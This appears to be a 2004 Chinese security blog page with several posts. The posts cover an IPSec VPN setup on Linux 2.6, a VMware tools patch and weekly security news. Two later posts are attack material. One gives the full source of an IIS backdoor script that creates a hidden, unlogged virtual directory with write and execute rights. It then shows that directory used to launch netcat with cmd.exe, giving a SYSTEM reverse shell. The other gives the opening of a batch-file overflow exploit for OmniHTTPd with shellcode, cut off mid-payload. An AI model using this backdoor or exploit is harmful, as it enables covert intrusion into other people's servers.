    目前发行的各种Linux版本基本都是采用2.4.x内核,Linux VPN实现大都采用Freeswan软件。现在2.6.5内核的协议栈嵌入了IPSec处理代码,将内核升级到2.6.5,可以利用其固有的IPSec功能。本文描述的Linux VPN实现基于Fedora 1。

    介绍如何将内核升级到2.6.5的文章我以前有说过,这里仅简单列出升级内核的基本步骤。

    (1)首先从www.kernel.org网站下载2.6.5内核,http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.5.tar.gz 将它放到/usr/src目录下。

    (2)将内核源码释放到/usr/src/目录下。


    #tar -zxvf linux-2.6.5.tar.gz
    #cd linux-2.6.5
    #make mrproper
    #make menuconfig


    注意,为了保证与内核2.4.x中文件系统兼容,必须将文件系统ext3改为必选项。并在网络选项中选择以下四项,使系统内核能够支持IPSec。


    <*> PF_KEY sockets
    <*> IP: AH transformation
    <*> IP: ESP transformation
    <*> IP: IPComp transformation


    重新使用内核2.6.5启动系统。


    #make
    #make modules_install
    #make install


    (3)安装IPSec手工配置工具。

    从http://ipsec-tools.sourceforge.net/下载源码ipsec-tools-0.3.tar.gz,http://easynews.dl.sourceforge.net/sourceforge/ipsec-tools/ipsec-tools-0.3.tar.gz 按照帮助文件提示进行编译。


    #./configure
    #make; make install


    这样有了应用程序sekey,就可用它手工配置SPD和SA。

    ipsec-tools自带的IKE进程racoon运行时不能自动执行通道模式下的协商过程,必须由内核发起SA请求来触发,所以必须事前手工输入安全策略。这给VPN应用带来了很大不便,因此这里将采用后文描述的isakmpd进程。

    2.安装IKE相关应用程序

    本文介绍的IKE支持预共享密钥和X.509两种认证模式。为了支持X.509证书认证,必须首先安装keynotes。

    安装keynotes的步骤如下:

    (1)从 http://www1.cs.columbia.edu/~angelos/keynote.html获取源码keynote.tar.gz。http://www1.cs.columbia.edu/~angelos/Code/keynote.tar.gz
    (2)将其解压并编译。


    #tar -zxvf keynote.tar.gz
    #./configure
    #make

    注意,编译isakmpd时,需要keynotes的文件头和库libkeynotes.a。

    现在可以安装isakmpd了。isakmpd最早运行在OpenBSD上,由Thomas Walpuski将其移植到Linux平台,所以在源码里会看到OpenBSD的痕迹。

    安装isakmpd的步骤如下:

    (1)从http://bender.thinknerd.de/~thomas/IPsec/isakmpd-linux.html看帮助获取源码isakmpd。

    [root@vitter vitter]# export CVS_RSH=/opt/ssh/bin/ssh
    [root@vitter vitter]# export CVSROOT=:pserver:anoncvs@anoncvs.de.openbsd.org:/cvs
    [root@vitter vitter]# cvs login
    Logging in to :pserver:anoncvs@anoncvs.de.openbsd.org:2401/cvs
    CVS password: anoncvs
    [root@vitter vitter]# cvs -z9 co -d isakmpd src/sbin/isakmpd


    (2)编译。

    修改文件GNUmakefile,将OS改为Linux。
    修改文件isakmpd/sysdep/linux/GNUmakefile.sysdep,将内核2.6.5和keynotes的头文件加入编译路径。 (Building isakmpd should be straight forward on most systems (read: it works on my systems) as there is no lousy ./configure script or the like.)

    [root@vitter isakmpd]# sed 's/^\(OS=\t\topenbsd\)/#\1/' GNUmakefile | \
    pipe> sed 's/^#\(OS=\t\tlinux\)/\1/' > tmp; mv tmp GNUmakefile
    [root@vitter isakmpd]# make

    (3)装备运行目录。


    #mkdir /etc/isakmpd


    存放配置文件和策略文件。


    #mkdir /etc/isakmpd/ca


    存放CA X.509证书。


    #mkdir /etc/isakmpd/certs


    存放本机和其它主机X.509证书。


    #mkdir /etc/isakmpd/private
    存放本机的私钥。

    #cp isakmpd /usr/sbin/.


    至此,支持IPSec和IKE的Linux运行环境组建完成。

    isakmpd的配置文件和策略文件

    实施IPSec前,必须解释一下isakmpd的配置文件和策略文件,因为对它们的理解关系到能否正确实施VPN。这两个文件是 isakmpd.conf和isakmpd.policy,分别对应IPSec的SADB和SPD。isakmpd.conf主要描述了建立IKE SA和IPSec SA所需的必要参数;isakmpd.policy策略文件控制哪些安全主机或VPN网关可以与本机建立SA,以及建立什么样的SA。下面就常用的一些配置项加以解释,更详细的信息请查阅相关帮助手册。

    配置文件isakmpd.conf采用.ini格式,每小节以[section]形式开始,在小节内可以将值赋予一个tag:


    [section]
    tag=value


    如果value很长,可以在行尾使用“”续行。以“#”开头的行是注释行。通常右边的值是其它section的名字。对于一些特殊的小节,section都有预定义的默认值,如“General”、“Keynote”、“X509-certificates”和“Default- phase-1-configuration”。一些预定义的section名可以被isakmpd进程识别,这样可以避免完全详细描述主模式的转换码和快速模式的套件、协议及转换码。

    对于主模式:
    {DES,BLF,3DES,CAST}-{MD5,SHA}[-GRP{1,2,5}][-{DSS, RSA_SIG}]
    对于快速模式:


    bordercolorlight = "black" bordercolordark = "#FFFFFF" align="center">


    QM-{proto}[-TRP]-{cipher}[-{hash}][-PFS[-{group}]]-SUITE

    其中{proto}可为ESP或AH;{cipher}可为DES、3DES、CAST、BLF或AES;{hash}可为MD5、SHA或
    RIPEMD;{group}可为GRP1、GRP2或GRP5。

    例如,3DES-SHA表示3DES加密、SHA哈希和预共享密钥认证。这些自动生成的值可以在配置文件中使用相同的section名和tag名将其重新
    设置。

    为了让大家对该配置文件有个感性认识,以一个采用预共享密钥认证的简单配置文件为例来说明(如图1示)。该文件的最右端以“//”开始部分是加注的解释,
    在实际的配置文件中并不存在。

    图1 配置文件isakmpd.conf

    下面介绍策略文件isakmpd.policy。

    一个最简单的策略文件只需一行就可以工作:

    authorizer: "POLICY"

    它表示对那些想建立连接的实体没有策略限制,因而不是安全的配置。这里的“authorizer”表示谁有权决定策略。特殊的授权者“POLICY”拥有
    最终的和无限制的权利。任何其它的授权者必须由“POLICY”授权。

    也可以在策略文件内设置一些被允许的条件。下面的策略表示只有那些使用ESP协议,而且加密算法不为空的实体有权建立IPSec SA:

    authorizer:"POLICY"
    conditions: app_domain == "IPsec policy" &&
    esp_present == "yes" &&
    esp_enc_alg != "null" -> "true";

    还可以利用“licensees”授权给其它的实体。简单的例子就是预共享密钥的情形:

    authorizer:"POLICY"
    licensees: "passphrase:something really secret"
    conditions:app_domain == "IPsec policy" &&
    esp_present == "yes" &&
    esp_enc_alg != "null" -> "true";

    上面的配置表示任何知道预共享密钥,且通信参数符合条件的人都得到授权建立IPSec连接。记住要把isakmpd
    .conf中的Authentication设置成预共享密钥。

    关于策略文件更安全和详细的描述请参考isakmpd.policy帮助手册和网站http:
    //hem2.passagen.se/hojg/isakmpd/。

    企业VPN实现案例


    假设某企业总部在北京,分公司在南京,两地想通过互联网传输企业的私有信息。为了降低成本,可以利用Internet实现企业虚拟专用网,具体拓扑见图
    2。

    图2 基于Internet的企业VPN应用拓扑图

    图2中两地VPN网关的公网地址是假设的。192.168.0.0
    /24网段与192.169.0.0/24网段利用VPN-GW-NJ和VPN-GW-BJ之间建立的加密隧道进行通信。

    为了使Linux能够适应今后的大规模VPN部署,这里使用X.509证书进行IKE认证,同时也避免了因预共享密钥泄露引起的VPN系
    统安全问题。利用X.509配置IKE,可分两步进行:首先创建X.509证书;然后修改配置文件,使IKE进程使用X.509证书进行认证。

    关于CA(Certificate Authority)的知识,请查阅相关资料。本文只给出实施IPSec所需X.509证书的创建步骤。

    (1)创建自己的CA证书。

    #openssl genrsa -out /etc/ssl/private/ca.key 1024
    #openssl req -new -key /etc/ssl/private/ca.key
    -out /etc/ssl/private/ca.csr

    其中ca.key是CA的私钥,必须存放在安全的地方。

    下一步利用CA的私钥为CA自己签署证书:

    #openssl x509 -req -days 3650 -in /etc/ssl/private/ca.csr
    -signkey /etc/ssl/private/ca.key
    -out /etc/ssl/ca.crt

    这样便拥有自己的CA证书,然后可以用该证书为其它主机签发X.509证书。

    (2)为每个IPSec网关创建私钥和证书。
    在网关VPN-GW-NJ上:

    #openssl genrsa -out /etc/isakmpd/private/local.key 1024
    #openssl req -new -key /etc/isakmpd/private/local.key
    -out /etc/isakmpd/private/202.102.0.120.csr

    将证书请求传给CA进行签署:

    #openssl x509 -req -days 365 -in 202.102.0.120.csr -CA /etc/ssl/ca.crt
    -CAkey /etc/ssl/private/ca.key -CAcreateserial
    -out 202.102.0.120.crt

    必须运行工具certpatch在证书中增加一些扩展项,以使它可以被isakmpd所用。

    #certpatch -i 202.102.0.120 -k /etc/ssl/private/ca.key
    202.102.0.120.crt 202.102.0.120.crt

    将签署好的证书放在网关的/etc/isakmpd/certs/目录下,同时将CA证书ca.crt放在网关的/etc/isakmpd/ca/目录
    下。

    对网关VPN-GW-BJ同样执行上述步骤,将202.102.0.120改成网关VPN-GW-BJ的公网IP地址即可。

    (3)编辑配置文件和策略文件。

    两台VPN网关的策略文件isakmpd.policy配置为:

    authorizer:"POLICY"
    conditions: app_domain == "IPsec policy" &&
    ( esp_present == "yes" ||
    ah_present == "yes")-> "true";

    上述配置不是最安全的配置,应该再进一步进行安全优化。

    两台安全网关的配置文件isakmpd.conf分别如图3、图4所示。

    图3 VPN-GW-NJ的配置文件

    图4 VPN-GW-BJ的配置文件

    (4)启动isakmpd进程。

    #isakmpd

    (5)用相关工具验证VPN是否正常工作。

    [root@wwchen isakmpd]# setkey -DP
    192.169.0.0/24[any] 192.168.0.0/24[any] any
    in ipsec
    esp/tunnel/213.14.1.122-202.102.0.120/use
    created: Dec 27 15:39:12 2003 lastused:
    lifetime: 0(s) validtime: 0(s)
    spid=232 seq=3 pid=4921
    refcnt=1
    192.168.0.0/24[any] 192.169.0.0/24[any] any
    out ipsec
    esp/tunnel/202.102.0.120-213.14.1.122/require
    created: Dec 27 15:39:12 2003 lastused:
    lifetime: 0(s) validtime: 0(s)
    spid=225 seq=2 pid=4921
    refcnt=1
    ... ...

    以上为查看策略库SPD时VPN正常工作显示的内容。

    [root@wwchen isakmpd]# setkey -D
    202.102.0.120 213.14.1.122
    esp mode=tunnel spi=3338011673(0xc6f60419) reqid=0(0x00000000)
    E: 3des-cbc 033ccd02 e4430fe4 e3947652 e4a3a5a9 f2fd5514 06bec978
    A: hmac-md5 54e401f0 57f1ff08 5f37f52c d2bcfa1d
    seq=0x00000000 replay=16 flags=0x00000000 state=mature
    created: Dec 27 15:39:12 2003 current: Dec 27 15:39:24 2003
    diff: 12(s) hard: 1200(s) soft: 1080(s)
    last: hard: 0(s) soft: 0(s)
    current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
    allocated: 0 hard: 0 soft: 0
    sadb_seq=1 pid=4922 refcnt=0
    213.14.1.122 202.102.0.120
    esp mode=tunnel spi=1733688336(0x6755fc10) reqid=0(0x00000000)
    E: 3des-cbc 82acc8b0 d2c641c9 5677169d 67a4f9ed 0b7da239 6585ba29
    A: hmac-md5 07a411f6 b72bcd1a aab1dbd3 da3f869b
    seq=0x00000000 replay=16 flags=0x00000000 state=mature
    created: Dec 27 15:39:12 2003 current: Dec 27 15:39:24 2003
    diff: 12(s) hard: 1200(s) soft: 1080(s)
    last: hard: 0(s) soft: 0(s)
    current: 0(bytes) hard: 0(bytes) soft: 0(bytes)
    allocated: 0 hard: 0 soft: 0
    sadb_seq=0 pid=4922 refcnt=0

    以上为查看安全关联库SADB时VPN正常工作显示的内容。

    Posted by vitter at 2004-06-03 11:04:37 | 评论 (0)

    June 02, 2004

    在VMware 4.5.1下运行Fedora Core 2(VMware下Fedora 2的显卡配置)


    BY:vitter (Vitter@safechina.net)
    Our Web:http://www.safechina.net
    My Web:http://www.vfocus.net
    My Blog:http://blog.vfocus.net

    主机配置:
    P4 2.6G
    1024MB RAM
    80GB HD
    Windows 2000 server SP4 with all updates
    VMware 4.5.1 build7568

    虚拟机配置:
    Fedora Core 2 Test 3 (downloaded .iso files)
    "Other Linux 2.6.x Kernel"
    256MB RAM
    8GB HD (/dev/sda1 = /boot, /dev/sda2 = /)
    1GB HD (/dev/sdb1 = )

    安装:
    1. 光盘引导。
    2. 当出现引导界面的时候,输入"linux vdso=0",这个很重要,不管你是否想用vdso=0,否则VM会崩溃的。
    3. 安步骤安装完成,重新引导,将会无法进入图形界面,你可以修改文件使得启机进入init 3模式,重启。
    4. 挂载光驱,解压vmware-tools-linux:
    mount /dev/cdrom /mnt/cdrom
    cp /mnt/cdrom vmware-linux-tools.tar.gz /Vitter
    tar –zxvf vmware-linux-tools.tar.gz
    5. Unpack vmware-tools包,把下面的vmware.patch文件patch到文件vmwares-tools-distrib/bin/vmware-config-tools.pl里面:
    patch -p0 vmware-configtools.pl 6. 安装vmware-tools,除了问你是否编译vmhgfs module的时候选择NO,其他都安默认安装即可。
    7. startx试试看:)
    8. 重启,OK

    以下是vmware.patch文件:

    --- vmware-config-tools.pl.before 2004-05-11 19:51:19.608817712 +0200
    +++ vmware-config-tools.pl 2004-05-11 20:55:42.508567688 +0200
    @@ -2788,7 +2788,7 @@
    }

    sub xserver4 {
    - return xserver_bin() . '/XFree86';
    + return xserver_bin() . '/Xorg';
    }

    sub xserver3 {
    @@ -2984,7 +2984,7 @@
    my $sub;

    $xversionAll = direct_command(shell_string(xserver4()) . ' -version 2>&1') =~
    - /XFree86 Version (\d+\.\d+\.?\d*)/ ? $1: '0.0.0';
    + /XFree86 Version (\d+\.\d+\.?\d*)/ ? $1: '4.3.0';

    # This search order is issued from the XF86Config man page.
    if (defined $ENV{'XF86CONFIG'} && file_name_exist($xconfig_path . '/' .
    @@ -2994,6 +2994,8 @@
    file_name_exist('/usr/X11R6/etc/X11/' . $ENV{'XF86CONFIG'})) {
    $xconfig_path = '/usr/X11R6/etc/X11';
    $xconfig_file_name = $ENV{'XF86CONFIG'};
    + } elsif (file_name_exist($xconfig_path . '/xorg.conf')) {
    + $xconfig_file_name = 'xorg.conf';
    } elsif (file_name_exist($xconfig_path . '/XF86Config-4')) {
    $xconfig_file_name = 'XF86Config-4';
    } elsif (file_name_exist($xconfig_path . '/XF86Config')) {
    @@ -3146,6 +3148,18 @@
    $xversionAll);
    }

    +sub fix_gpm_file {
    + my $gpm_file = '/etc/sysconfig/gpm';
    + if (file_name_exist($gpm_file)) {
    + my %p;
    + undef %p;
    + backup_file_to_restore($gpm_file, 'GPM_FILE');
    + print "Fixing " . $gpm_file . "\n";
    + $p{'^MOUSETYPE="exps2"$'} = 'MOUSETYPE="ms"';
    + internal_sed($gpm_file . $cBackupExtension, $gpm_file, 0, \%p);
    + }
    +}
    +
    sub fix_mouse_file {
    my $mouse_file = '/etc/sysconfig/mouse';
    #
    @@ -3179,6 +3193,8 @@
    }
    }
    }
    + system('touch ' . $mouse_file);
    + fix_gpm_file();
    return $enableXImps2;
    }

    @@ -3499,6 +3515,7 @@
    if ($major == 4 && $minor >= 2 &&
    file_name_exist($cX4MouseDriverFile)) {
    $line =~ s/%MOUSE_DRIVER%/vmmouse/g;
    + $line =~ s-/dev/mouse-/dev/input/mice-;
    } else {
    $line =~ s/%MOUSE_DRIVER%/mouse/g;
    }

    Posted by vitter at 2004-06-02 12:43:46 | 评论 (0)

    May 31, 2004

    上周安全点评(05/31/04)

    上周出现了几个高波蠕虫的变种。高波蠕虫,国际通称为Gaobot或Agobot。起初,高波蠕虫通过IRC、开放网络共享、文件共享网络传播,也可通过Mydoom蠕虫家族所安装的后门进行传播。微软MS04-011公告发布以后,利用LSASS漏洞的高波蠕虫变种于2004年4月29日首次被发现。接着,又出现了一系列利用LSASS漏洞的新变种。
    上周该蠕虫出现一定范围的传播迹象,请用户注意查杀,具体方法请参阅http://www.cert.org.cn/articles/bulletin/common/2004052521691.shtml。

    另外一则病毒方面的重要消息是赛门铁克发现首个成功攻击64位Windows病毒--W64.Rugrat.3344。这种无危险病毒不会广泛扩散;然而,它是已知的第一个成功攻击64位Windows可执行程序的威胁。此威胁不会影响32位可执行程序,也不会在32位Windows平台上运行。它针对的只是64位Windows操作系统。这标志着64windows上的病毒出现,但用户不必为此担心因为64位windows较少并且编写这种蠕虫技术要求较高所以近期并不会大规模出现这种病毒。

    *nix方面,上周出现FreeBSD“msync()”MS_INVALIDATE漏洞(http://www.cert.org.cn/articles/hole/common/2004052721696.shtml),Gentoo linux对多个Apache漏洞进行了升级(http://www.securityfocus.com/archive/1/364348/2004-05-24/2004-05-30/0),IRIX libcpr库出现漏洞(http://www.securityfocus.com/archive/1/364345/2004-05-24/2004-05-30/0),请使用这些应用的用户尽快升级。

    Posted by vitter at 2004-05-31 13:40:17 | 评论 (0)

    May 24, 2004

    上周安全点评(05/24/04)

    上周“震荡波”蠕虫传播趋势渐缓,但新增几种利用LSASS漏洞的蠕虫,如“大选杀手”,“大选杀手”B变种,“博巴克斯”,对这几种蠕虫的查杀请参照http://www.cert.org.cn/articles/bulletin/common/2004051721667.shtml,http://www.cert.org.cn/articles/bulletin/common/2004051721668.shtml,http://www.cert.org.cn/articles/bulletin/common/2004051821669.shtml及其相关网页。本周IE浏览器被公布存在多个漏洞,请广大用户及时进行升级,升级补丁及方法详见厂商网页:
    http://www.microsoft.com/windows/ie/default.asp

    其它平台方面,本周的比较重要的漏洞为:
    Apache Mod_SSL SSL_Util_UUEncode_Binary堆栈缓冲区溢出漏洞,Alt-N MDaemon远程Status命令远程缓冲区溢出漏洞,
    Cvs堆溢出漏洞(该漏洞已经有相关的攻击代码并且有黑客声称曾使用此漏洞攻击过多家共享软件开发站点与操作系统站点),请使用相关服务的用户及时进行补丁修补或升级。

    Posted by vitter at 2004-05-24 12:47:12 | 评论 (0)

    May 21, 2004

    一个好玩的脚本

    脚本见后面所附iis.vbs

    c:\tools>cscript.exe iis.vbs c:\

    然后访问http://192.168.0.51/vfocus/vitter
    哈哈,整个C就出来了,然后你可以用tftp传点东东什么的
    比如先在本地用nc监听1000
    C:\WINNT\system32\tools>nc -l -p 1000 -nvv
    listening on [any] 1000 ...
    然后在ie里面
    http://192.168.0.51/vfocus/vitter/WINNT/system32/Tools/nc.exe?-e%20cmd.exe%20-n%20192.168.0.50%201000
    回到你监听的nc里面
    C:\WINNT\system32\tools>nc -l -p 1000 -nvv
    listening on [any] 1000 ...
    connect to [192.168.0.50] from (UNKNOWN) [192.168.0.51] 2185
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) 版权所有 1985-1998 Microsoft Corp.

    c:\>whoami
    NT AUTHORITY\SYSTEM

    c:\>
    哈哈,搞定,很隐藏的,在internet服务管理器里面看不到我们建立的这个虚拟目录的,想看的话可以这样
    C:\WINNT\system32\tools>cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM w3svc/1/root
    Microsoft (R) Windows Script Host Version 5.6
    版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

    KeyType : (STRING) "IIsWebVirtualDir"
    AppRoot : (STRING) "/LM/W3SVC/1/ROOT"
    AppFriendlyName : (STRING) "默认应用程序"
    AppIsolated : (INTEGER) 2
    AccessRead : (BOOLEAN) True
    AccessWrite : (BOOLEAN) False
    AccessExecute : (BOOLEAN) False
    AccessScript : (BOOLEAN) True
    AccessSource : (BOOLEAN) False
    AccessNoRemoteRead : (BOOLEAN) False
    AccessNoRemoteWrite : (BOOLEAN) False
    AccessNoRemoteExecute : (BOOLEAN) False
    AccessNoRemoteScript : (BOOLEAN) False
    HttpErrors : (LIST) (32 Items)
    "400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"
    "401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"
    "401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.htm"
    "401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"
    "401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"
    "401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"
    "403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"
    "403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"
    "403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"
    "403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"
    "403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"
    "403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"
    "403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"
    "403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"
    "403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"
    "403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"
    "403,11,FILE,C:\WINNT\help\iisHelp\common\403-11.htm"
    "403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"
    "403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"
    "403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"
    "403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"
    "403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"
    "404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"
    "405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"
    "406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"
    "407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"
    "412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"
    "414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"
    "500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"
    "500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"
    "500,15,FILE,C:\WINNT\help\iisHelp\common\500-15.htm"
    "500,100,URL,/iisHelp/common/500-100.asp"

    DefaultDoc : (STRING) "index.html,index.htm,Default.htm,Def
    ault.asp,Default.aspx"
    FrontPageWeb : (BOOLEAN) True
    Path : (STRING) "F:\dvbbs"
    AccessFlags : (INTEGER) 513
    ScriptMaps : (LIST) (34 Items)
    ".htw,C:\WINNT\system32\webhits.dll,3,GET,HEAD,POST"
    ".ida,C:\WINNT\system32\idq.dll,3,GET,HEAD,POST"
    ".idq,C:\WINNT\system32\idq.dll,3,GET,HEAD,POST"
    ".asp,C:\WINNT\system32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
    ".cer,C:\WINNT\system32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
    ".cdx,C:\WINNT\system32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
    ".asa,C:\WINNT\system32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE"
    ".htr,C:\WINNT\system32\inetsrv\asp.dll,1,GET,POST"
    ".idc,C:\WINNT\system32\inetsrv\httpodbc.dll,1,OPTIONS,GET,HEAD,POST,PUT,DELETE,TRACE"
    ".shtm,C:\WINNT\system32\inetsrv\ssinc.dll,1,GET,POST"
    ".shtml,C:\WINNT\system32\inetsrv\ssinc.dll,1,GET,POST"
    ".stm,C:\WINNT\system32\inetsrv\ssinc.dll,1,GET,POST"
    ".printer,C:\WINNT\system32\msw3prt.dll,1,GET,POST"
    ".pl,C:\Perl\bin\perl.exe "%s" %s,5,GET,HEAD,POST"
    ".plx,C:\Perl\bin\perlis.dll,5,GET,HEAD,POST"
    ".cgi,C:\Perl\bin\perl.exe "%s" %s,1"
    ".asax,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".ascx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".ashx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".asmx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".aspx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".axd,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".vsdisco,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".rem,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".soap,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
    ".config,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".cs,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".csproj,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".vb,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".vbproj,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".webinfo,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".licx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".resx,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"
    ".resources,C:\WINNT\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,5,GET,HEAD,POST,DEBUG"

    [/w3svc/1/root/Scripts]
    [/w3svc/1/root/IISHelp]
    [/w3svc/1/root/localstart.asp]
    [/w3svc/1/root/IISAdmin]
    [/w3svc/1/root/IISSamples]
    [/w3svc/1/root/MSADC]
    [/w3svc/1/root/_vti_pvt]
    [/w3svc/1/root/_vti_log]
    [/w3svc/1/root/_private]
    [/w3svc/1/root/_vti_txt]
    [/w3svc/1/root/_vti_script]
    [/w3svc/1/root/_vti_cnf]
    [/w3svc/1/root/_vti_bin]
    [/w3svc/1/root/Printers]
    [/w3svc/1/root/aspnet_client]
    [/w3svc/1/root/webctrl_client]
    [/w3svc/1/root/HP1200]
    [/w3svc/1/root/vfocus]

    看到没[/w3svc/1/root/vfocus]这个就是我们隐藏的后面目录,怎么删掉他呢?这样
    C:\WINNT\system32\tools>cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs DELETE w3svc/1/root/vfocus
    iis.vbs具体的脚本如下:

    ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    '
    ' IIS.VBS
    '
    ' Author: vfocus
    ' Date: 21/05/04
    ' Web: http://www.vfocus.net http://www.safechina.net
    '
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    help1="IIS后门设置脚本 FOR WIN2000"
    help2="请输入正确的虚拟目录名称和映射的路径,格式如下"
    help3=" cscript.exe iis.vbs 虚拟目录的名称 映射的路径"
    help4="例如: cscript.exe iis.vbs vitter c:\"

    set Args = Wscript.Arguments
    if args.count < 2 then
    wscript.echo help1
    wscript.echo ""
    wscript.echo help2
    wscript.echo ""
    wscript.echo help3
    wscript.echo ""
    wscript.echo help4
    wscript.quit
    end if

    strVRName=args(0) ''虚拟目录名称
    strRootPath=args(1) ''虚拟目录路径

    Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
    For each VR in checkVirtualDir
    if VR.Name="vfocus" Then
    foundt ="yes"
    else
    foundt= "no"
    End If
    Next

    if foundt ="yes" then
    wscript.echo "发现已经创建了vfocus目录,正在设置自定义的虚拟目录"
    creatvdir
    else
    wscript.echo "正在创建vfocus目录,以及自定义文件夹,请等待!"
    creatvfocus
    creatvdir
    end if

    wscript.echo "您创建的虚拟目录名称是"& strVRName &",映射的文件夹是 " & strRootPath &"。"
    wscript.echo "请访问http://IP/vfocus/"& strVRName &"/ 来连接后门!"
    wscript.echo "恭喜!后门设置全部完成!"
    sub creatvfocus()
    Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
    Set myDir=objDir.Create("IISWebVirtualDir","vfocus")
    myDir.AccessRead=true
    myDir.DefaultDoc=mydir.DefaultDoc
    myDir.AppIsolated=0
    myDir.AccessExecute=true
    myDir.DontLog=true
    myDir.AccessSource=true
    myDir.EnableDirBrowsing=true
    myDir.setinfo
    end sub
    sub creatvdir()
    Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/vfocus")
    Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
    VirDir.AccessRead=true
    VirDir.Path=strRootPath
    VirDir.DefaultDoc=""
    VirDir.AccessExecute=true
    VirDir.AccessWrite=true
    VirDir.AccessSource=true
    VirDir.AppIsolated=0
    VirDir.DontLog=true
    VirDir.EnableDirBrowsing=true
    VirDir.appcreate 0
    VirDir.CreateProcessAsUser=0
    VirDir.setInfo
    end sub
    wscript.quit

    Posted by vitter at 2004-05-21 12:03:08 | 评论 (2)

    May 20, 2004

    xx够BT.bat写的exploit

    EXP_OmniHTTPd.BAT

    @echo off
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    :Application: OmniHTTPd
    :Vendors: http://www.omnicron.ca
    :Version: <=V3.0a
    :Platforms: Windows
    :Bug: Overflow
    :Date: 2004-04-23
    :Author: CoolICE
    :E-mail: CoolICE#China.com
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    ;if '%1'=='' echo Usage:%0 target&&goto :eof
    ;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
    ;DEBUG < %~s0
    ;GOTO :run

    e 100 "GET / HTTP/1.0" 0D 0A "Range: "
    !Overflow@length>0xE0
    f 117 206 41
    !JMPESP@w2k
    e 207 12 45 FA 7F
    !Shellcode
    e 20B EB 1B 5B BE 43 6F 6F 6C BF 49 43 45 21 43 39 3B
    e 21B 75 FB 4B 80 33 88 39 73 FC 75 F7 EB 09 E8 E0 FF
    e 22B FF FF 43 6F 6f 6C 61 31 88 88 88 D6 60 CE 88 88
